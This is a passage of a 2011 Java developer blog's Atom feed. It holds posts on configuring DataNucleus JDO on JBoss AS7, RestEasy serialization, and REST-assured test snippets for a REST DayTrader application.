&amp;lt;/resource-adapters&amp;gt;
&amp;lt;/subsystem&amp;gt;
&lt;/pre&gt;&lt;br /&gt;
Step 6. Configure Datanucleus &lt;br /&gt;
All the configuration of datanucleus is in jdopersistence.xml. The file name should be same as defined in PersistenceXmlFilename. The behaviour can be defined by adding properties. Detailed list of properties is &lt;a href="http://www.datanucleus.org/products/accessplatform_3_0/persistence_properties.html"&gt;here&lt;/a&gt;.&lt;br /&gt;
jdopersistance.xml&lt;br /&gt;
&lt;pre class="prettyprint"&gt;&amp;lt;?xml version="1.0" encoding="UTF-8" ?&amp;gt;
&amp;lt;persistence xmlns="http://java.sun.com/xml/ns/persistence"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/persistence
http://java.sun.com/xml/ns/persistence/persistence_1_0.xsd" version="1.0"&amp;gt;
&amp;lt;persistence-unit name="pu"&amp;gt;
&amp;lt;properties&amp;gt;
&amp;lt;property name="datanucleus.connection.resourceType" value="JTA"/&amp;gt;
&amp;lt;property name="datanucleus.storeManagerType" value="rdbms"/&amp;gt;
&amp;lt;property name="datanucleus.autoCreateSchema" value="false"/&amp;gt;
&amp;lt;property name="datanucleus.ConnectionFactoryName" value="java:jboss/datasources/TradeDBDSJTA"/&amp;gt;
&amp;lt;property name="datanucleus.ConnectionFactory2Name" value="java:jboss/datasources/TradeDBDS"/&amp;gt;
&amp;lt;property name="datanucleus.autoStartClassNames" value="com.blogspot.jkook.daytrader.jdo.JDOOrderData"/&amp;gt;
&amp;lt;property name="datanucleus.autoStartMechanism" value="Classes"/&amp;gt;
&amp;lt;property name="datanucleus.autoStartMechanismMode" value="Ignored"/&amp;gt;
&amp;lt;property name="datanucleus.jtaLocator" value="custom_jndi"/&amp;gt;
&amp;lt;property name="datanucleus.jtaJndiLocation" value="java:jboss/TransactionManager"/&amp;gt;
&amp;lt;/properties&amp;gt;
&amp;lt;/persistence-unit&amp;gt;
&amp;lt;/persistence&amp;gt;
&lt;/pre&gt;datanucleus.ConnectionFactoryName has to be JTA enabled datasource&lt;br /&gt;
datanucleus.ConnectionFactory2Name has to be non JTA&lt;br /&gt;
TransactionManger JNDI name in as7 has changed so we need to configure using &lt;b&gt;datanucleus.jtaJndiLocation and datanucleus.jtaLocator&lt;/b&gt;&lt;br /&gt;
Almost done ! stay with me to start coding&lt;br /&gt;
&lt;br /&gt;
Step 7. Access PersistenceManager&lt;br /&gt;
Alright enough configuiration show me some code. PersistenceManager can be accesed through JNDI either by injecting or by direct access using InitialContext(). I prefer to use CDI @Producer and @Inject here is the sample&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="prettyprint lang-java"&gt;PersistenceManagerFactory pmf = (PersistenceManagerFactory) 
context.lookup("java:/TraderDB-PU");
PersistenceManager pm = pmf.getPersistenceManager();
&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;Appratus&lt;/b&gt;&lt;br /&gt;
Jdk 1.6, JbossAs7, NetBeans, ojdbc6.jar, Oracle11g, Datanucleus3.0.0-m6, JavaEE6, CDI, Ejb3.1&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7811313566645564123-6855697719898857607?l=jkook.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Jkook/~4/tOjctTOLob4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://jkook.blogspot.com/feeds/6855697719898857607/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=7811313566645564123&amp;postID=6855697719898857607" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/6855697719898857607?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/6855697719898857607?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Jkook/~3/tOjctTOLob4/getting-started-with-jdo-on-jboss-as7.html" title="Getting started with JDO on Jboss AS7 in Seven Steps" /><author><name>Kiran.Kumar M</name><uri>http://www.blogger.com/profile/01324349914910981544</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-aaM9szVmAUU/TXHAszd2Y8I/AAAAAAAAAKg/SinXOCC4tc4/s220/100_0305.JPG" /></author><thr:total>1</thr:total><feedburner:origLink>http://jkook.blogspot.com/2011/07/getting-started-with-jdo-on-jboss-as7.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkMGQ304fyp7ImA9WhZaGUk.&quot;"><id>tag:blogger.com,1999:blog-7811313566645564123.post-916303898660524228</id><published>2011-07-06T14:57:00.000+05:30</published><updated>2011-07-06T14:57:02.337+05:30</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-07-06T14:57:02.337+05:30</app:edited><title>Drools Best Practices - Must for every Drools programmer</title><content type="html">
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/4SQtECzV-b2YzzbvJlpuKJf90jw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/4SQtECzV-b2YzzbvJlpuKJf90jw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/4SQtECzV-b2YzzbvJlpuKJf90jw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/4SQtECzV-b2YzzbvJlpuKJf90jw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;A very well organised presentation with valuable suggestions.&lt;br /&gt;
This is a must for every drools programmer.&lt;br /&gt;
http://www.slideshare.net/jamet123/best-practices-for-jboss-drools&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7811313566645564123-916303898660524228?l=jkook.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Jkook/~4/L4P2PvC4UhE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://jkook.blogspot.com/feeds/916303898660524228/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=7811313566645564123&amp;postID=916303898660524228" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/916303898660524228?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/916303898660524228?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Jkook/~3/L4P2PvC4UhE/drools-best-practices-must-for-every.html" title="Drools Best Practices - Must for every Drools programmer" /><author><name>Kiran.Kumar M</name><uri>http://www.blogger.com/profile/01324349914910981544</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-aaM9szVmAUU/TXHAszd2Y8I/AAAAAAAAAKg/SinXOCC4tc4/s220/100_0305.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://jkook.blogspot.com/2011/07/drools-best-practices-must-for-every.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C04AQHo6cSp7ImA9WhZbEk4.&quot;"><id>tag:blogger.com,1999:blog-7811313566645564123.post-8123056591272780477</id><published>2011-06-16T19:10:00.002+05:30</published><updated>2011-06-16T19:15:41.419+05:30</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-16T19:15:41.419+05:30</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="restassured" /><category scheme="http://www.blogger.com/atom/ns#" term="REST-assured" /><category scheme="http://www.blogger.com/atom/ns#" term="resteasy" /><title>RestEasy Avoid -LazyInitializationException</title><content type="html">
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/oZmUhYOU-pnGMU3WHyPR1Y5n6z4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/oZmUhYOU-pnGMU3WHyPR1Y5n6z4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/oZmUhYOU-pnGMU3WHyPR1Y5n6z4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/oZmUhYOU-pnGMU3WHyPR1Y5n6z4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;When we work with JPA one cannot avoid using relations. For eg UserAccount has relation with UserAccountProfile. We often come across LazyInitializationException.&lt;br /&gt;
However when accessing UserAccount resource we may need to suppress xml generation for UserAccountProfile. Solution is to use &lt;code&gt;@XmlTransient&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="prettyprint lang-java"&gt;/**
      * @return the useraccount
      */
     @XmlTransient
     public Useraccount getUseraccount() {
         return useraccount;
     }
&lt;/pre&gt;&lt;br /&gt;
I have Annotated getUserAccount in the Entity Order.java. This annotation does not work with fields.&lt;br /&gt;
Adtionally you can use @ManyToOne(fetch = FetchType.LAZY) to avoid the database call :)&lt;br /&gt;
&lt;br /&gt;
Applies to : Jboss,JAX-WS,RestEasy,JPA,Hibernate&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7811313566645564123-8123056591272780477?l=jkook.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Jkook/~4/_U8RCVQrxfI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://jkook.blogspot.com/feeds/8123056591272780477/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=7811313566645564123&amp;postID=8123056591272780477" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/8123056591272780477?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/8123056591272780477?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Jkook/~3/_U8RCVQrxfI/resteasy-prevent-returning-xml-for.html" title="RestEasy Avoid -LazyInitializationException" /><author><name>Kiran.Kumar M</name><uri>http://www.blogger.com/profile/01324349914910981544</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-aaM9szVmAUU/TXHAszd2Y8I/AAAAAAAAAKg/SinXOCC4tc4/s220/100_0305.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://jkook.blogspot.com/2011/06/resteasy-prevent-returning-xml-for.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkQERXgycSp7ImA9WhZbEEs.&quot;"><id>tag:blogger.com,1999:blog-7811313566645564123.post-7391050510931872906</id><published>2011-06-14T21:41:00.001+05:30</published><updated>2011-06-14T21:48:24.699+05:30</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-14T21:48:24.699+05:30</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="DayTrader" /><category scheme="http://www.blogger.com/atom/ns#" term="REST" /><category scheme="http://www.blogger.com/atom/ns#" term="RestifiedTrader" /><title>Restified DayTrader Launched (RestifiedTrader)</title><content type="html">
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/iVgo_VgeP7qx32MgrBtCKwdLULI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/iVgo_VgeP7qx32MgrBtCKwdLULI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/iVgo_VgeP7qx32MgrBtCKwdLULI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/iVgo_VgeP7qx32MgrBtCKwdLULI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;Restified Trader aka Restified DayTrader is Trading application implemented using REST. It is a proof of concept for the restful design published by RESTify-DayTrader(http://bitworking.org/news/201/RESTify-DayTrader). Implemented in JavaEE6 and JAX-RS. It implements all requirements of Apache DayTrader Benchmark Sample. Currently it does not provide a UI.&lt;br /&gt;
Checkout following link for more details&lt;br /&gt;
&lt;a href="http://sourceforge.net/p/restifiedtrader/home/"&gt;http://sourceforge.net/p/restifiedtrader/home/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7811313566645564123-7391050510931872906?l=jkook.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Jkook/~4/QbM5jNsUwrk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://jkook.blogspot.com/feeds/7391050510931872906/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=7811313566645564123&amp;postID=7391050510931872906" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/7391050510931872906?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/7391050510931872906?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Jkook/~3/QbM5jNsUwrk/restified-daytrader-launched.html" title="Restified DayTrader Launched (RestifiedTrader)" /><author><name>Kiran.Kumar M</name><uri>http://www.blogger.com/profile/01324349914910981544</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-aaM9szVmAUU/TXHAszd2Y8I/AAAAAAAAAKg/SinXOCC4tc4/s220/100_0305.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://jkook.blogspot.com/2011/06/restified-daytrader-launched.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUANR3o-fyp7ImA9WhZbEEg.&quot;"><id>tag:blogger.com,1999:blog-7811313566645564123.post-787651052531385829</id><published>2011-06-14T16:24:00.000+05:30</published><updated>2011-06-14T17:46:36.457+05:30</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-14T17:46:36.457+05:30</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="restassured" /><category scheme="http://www.blogger.com/atom/ns#" term="REST-assured" /><title>REST-assured Tricks How to test HTTP 201 Created ?</title><content type="html">
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/F1Q7kY782XOB-qqNWUsGs4Pkpwg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/F1Q7kY782XOB-qqNWUsGs4Pkpwg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/F1Q7kY782XOB-qqNWUsGs4Pkpwg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/F1Q7kY782XOB-qqNWUsGs4Pkpwg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;How to test &lt;strong&gt;HTTP 201 Created ?&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
This is two testcases a) Status Code b) Location header&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="prettyprint lang-java"&gt;// Prepare data to be posted    
 String xmlBody = "&amp;lt;orderData&amp;gt;&amp;lt;orderType&amp;gt;BUY&amp;lt;/orderType&amp;gt;&amp;lt;quantity&amp;gt;44&amp;lt;/quantity&amp;gt;&amp;lt;symbol&amp;gt;YHO&amp;lt;/symbol&amp;gt;&amp;lt;/orderData&amp;gt;";&amp;#160;&amp;#160;
String location = given()  
  .body(xmlBody)  
  .contentType(ContentType.XML).body(xmlBody)  
 // a) test status code  
   .expect().statusCode(307)  
   .when()  
   .post("/RestFullDayTrader/resources/pending_orders/100").getHeader("Location");  
 // b) test Location Header  
 assertTrue(location.contains("pending_orders/100")); 
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7811313566645564123-787651052531385829?l=jkook.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Jkook/~4/9yCHZwiS11g" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://jkook.blogspot.com/feeds/787651052531385829/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=7811313566645564123&amp;postID=787651052531385829" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/787651052531385829?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/787651052531385829?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Jkook/~3/9yCHZwiS11g/rest-assured-tricks.html" title="REST-assured Tricks How to test HTTP 201 Created ?" /><author><name>Kiran.Kumar M</name><uri>http://www.blogger.com/profile/01324349914910981544</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-aaM9szVmAUU/TXHAszd2Y8I/AAAAAAAAAKg/SinXOCC4tc4/s220/100_0305.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://jkook.blogspot.com/2011/06/rest-assured-tricks.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkQBRns7cCp7ImA9WhZUFU8.&quot;"><id>tag:blogger.com,1999:blog-7811313566645564123.post-2396928087236264344</id><published>2011-06-08T14:39:00.002+05:30</published><updated>2011-06-08T14:42:37.508+05:30</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-08T14:42:37.508+05:30</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="restassured" /><category scheme="http://www.blogger.com/atom/ns#" term="REST-assured" /><title>REST-assured Tricks How to test Array of values -XML</title><content type="html">
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/EMaH3BfpNgqBDyr_Lqzux0L6mD0/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/EMaH3BfpNgqBDyr_Lqzux0L6mD0/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/EMaH3BfpNgqBDyr_Lqzux0L6mD0/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/EMaH3BfpNgqBDyr_Lqzux0L6mD0/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;RESTful web services often return multiple values. Some times in form of an array.To test for multiple values we can use .hasItems()&lt;br /&gt;
hasItems() works only for JSON. For XML we have to use &lt;code&gt;hasXPath()&lt;/code&gt;&lt;br /&gt;
&lt;pre class="prettyprint lang-java"&gt;// test multiple values
String result= given().header("accept", "application/xml")
   .expect()
   .body(hasXPath("//symbol[text()='SYM9']"),hasXPath("//symbol[text()='SYM1']"))
   .when()
   .get("/RestFullDayTrader/resources/quotes").asString();&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7811313566645564123-2396928087236264344?l=jkook.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Jkook/~4/VI729X6zj8k" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://jkook.blogspot.com/feeds/2396928087236264344/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=7811313566645564123&amp;postID=2396928087236264344" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/2396928087236264344?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/2396928087236264344?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Jkook/~3/VI729X6zj8k/rest-assured-tricks-how-to-test-array_08.html" title="REST-assured Tricks How to test Array of values -XML" /><author><name>Kiran.Kumar M</name><uri>http://www.blogger.com/profile/01324349914910981544</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-aaM9szVmAUU/TXHAszd2Y8I/AAAAAAAAAKg/SinXOCC4tc4/s220/100_0305.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://jkook.blogspot.com/2011/06/rest-assured-tricks-how-to-test-array_08.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CU4FQX49fSp7ImA9WhZUFU8.&quot;"><id>tag:blogger.com,1999:blog-7811313566645564123.post-3999230210744621711</id><published>2011-06-08T14:35:00.000+05:30</published><updated>2011-06-08T14:35:10.065+05:30</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-08T14:35:10.065+05:30</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="REST-assured" /><title>REST-assured Tricks How to test Array of values -JSON</title><content type="html">
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Gqzb82EsUl15WnzWtzboVj7Cxrs/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Gqzb82EsUl15WnzWtzboVj7Cxrs/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Gqzb82EsUl15WnzWtzboVj7Cxrs/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Gqzb82EsUl15WnzWtzboVj7Cxrs/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;RESTful web services often return multiple values. Some times in form of an array.&lt;br /&gt;
To test for multiple values we can use &lt;code&gt;.hasItems()&lt;/code&gt;&lt;br /&gt;
hasItems() works only for JSON&lt;br /&gt;
&lt;pre class="prettyprint lang-java"&gt;// test multiple values
String result=  given().header("accept", "application/json")
  .expect().body("quote.symbol", hasItems("SYMBOLICIC9","SYMBOLICIC1","SYMBOLICIC9"))
  .when()
  .get("/RestFullDayTrader/resources/quotes").asString();
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7811313566645564123-3999230210744621711?l=jkook.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Jkook/~4/aPpOx7kll8E" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://jkook.blogspot.com/feeds/3999230210744621711/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=7811313566645564123&amp;postID=3999230210744621711" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/3999230210744621711?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/3999230210744621711?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Jkook/~3/aPpOx7kll8E/rest-assured-tricks-how-to-test-array.html" title="REST-assured Tricks How to test Array of values -JSON" /><author><name>Kiran.Kumar M</name><uri>http://www.blogger.com/profile/01324349914910981544</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-aaM9szVmAUU/TXHAszd2Y8I/AAAAAAAAAKg/SinXOCC4tc4/s220/100_0305.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://jkook.blogspot.com/2011/06/rest-assured-tricks-how-to-test-array.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkABQnY7fCp7ImA9WhZUFUw.&quot;"><id>tag:blogger.com,1999:blog-7811313566645564123.post-4614470087001902808</id><published>2011-06-08T12:02:00.000+05:30</published><updated>2011-06-08T12:02:33.804+05:30</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-08T12:02:33.804+05:30</app:edited><title>REST-assured Tricks How to test custom content type?</title><content type="html">
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/e_mZ_bYTthmKIdqQQPrDkEl6ANw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/e_mZ_bYTthmKIdqQQPrDkEl6ANw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/e_mZ_bYTthmKIdqQQPrDkEl6ANw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/e_mZ_bYTthmKIdqQQPrDkEl6ANw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;The &lt;code&gt;.contentType(ContentType.JSON)&lt;/code&gt; supports limited set of contentypes.ie,. ANY,TEXT,JSON,XML,HTML,URLENC and BINARY.&lt;br /&gt;
In RestFul applications we also create custom types. for Eg I created &lt;code&gt;application/vnd.useraccountprofile+json&lt;/code&gt;&lt;br /&gt;
REST-assured can be used to test any content. The trick is the use &lt;code&gt;.header()&lt;/code&gt; &lt;br /&gt;
&lt;pre class="prettyprint lang-java" &gt;result= given().contentType(ContentType.JSON)
    .body(userAccountProfile.toString())
    .header("accept", "application/vnd.useraccountprofile+json")                
    .header("Content-Type", "application/vnd.useraccountprofile+json")               
    .when()
    .put("/RestFullDayTrader/resources/acct/"+useraccountid+";profile")
    .expect().body("openbalance", equalTo(121),"useraccountid",notNullValue())
    .asString();
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7811313566645564123-4614470087001902808?l=jkook.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Jkook/~4/d8TKA9RGUFY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://jkook.blogspot.com/feeds/4614470087001902808/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=7811313566645564123&amp;postID=4614470087001902808" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/4614470087001902808?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/4614470087001902808?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Jkook/~3/d8TKA9RGUFY/rest-assured-tricks-how-to-test-custom.html" title="REST-assured Tricks How to test custom content type?" /><author><name>Kiran.Kumar M</name><uri>http://www.blogger.com/profile/01324349914910981544</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-aaM9szVmAUU/TXHAszd2Y8I/AAAAAAAAAKg/SinXOCC4tc4/s220/100_0305.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://jkook.blogspot.com/2011/06/rest-assured-tricks-how-to-test-custom.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkcHQn8-fip7ImA9WhZUFUw.&quot;"><id>tag:blogger.com,1999:blog-7811313566645564123.post-4651771085155099069</id><published>2011-06-08T11:45:00.002+05:30</published><updated>2011-06-08T11:50:33.156+05:30</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-08T11:50:33.156+05:30</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="restassured" /><category scheme="http://www.blogger.com/atom/ns#" term="REST-assured" /><title>REST-assured Tricks How to test a value in JSON</title><content type="html">
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/7n_KyHaBQ_ISLu9WPyR6PRn54e0/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7n_KyHaBQ_ISLu9WPyR6PRn54e0/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/7n_KyHaBQ_ISLu9WPyR6PRn54e0/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7n_KyHaBQ_ISLu9WPyR6PRn54e0/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;Use &lt;code&gt;equalTo()&lt;/code&gt;&lt;br /&gt;
When the value is a string use single quotes '121'&lt;br /&gt;
In the below example the openbalance is a property of useraccount. useraccount is the JSON object name in the JSON.&lt;br /&gt;
Some implementation does not return the object name. In such cases replace "useraccount.openbalance" with "openbalance" &lt;br /&gt;
&lt;br /&gt;
&lt;pre class="prettyprint lang-java"&gt;String result = given().header("accept", "application/json")
 .contentType(ContentType.XML).body(xmlBody)
 .expect().body("useraccount.openbalance", equalTo(121),"useraccount.useraccountid",notNullValue())
                .when().post("/RestFullDayTrader/resources/acct").asString();
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7811313566645564123-4651771085155099069?l=jkook.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Jkook/~4/vQSuDIchkUc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://jkook.blogspot.com/feeds/4651771085155099069/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=7811313566645564123&amp;postID=4651771085155099069" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/4651771085155099069?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/4651771085155099069?v=2" /><link rel="alternate" type="text/html" 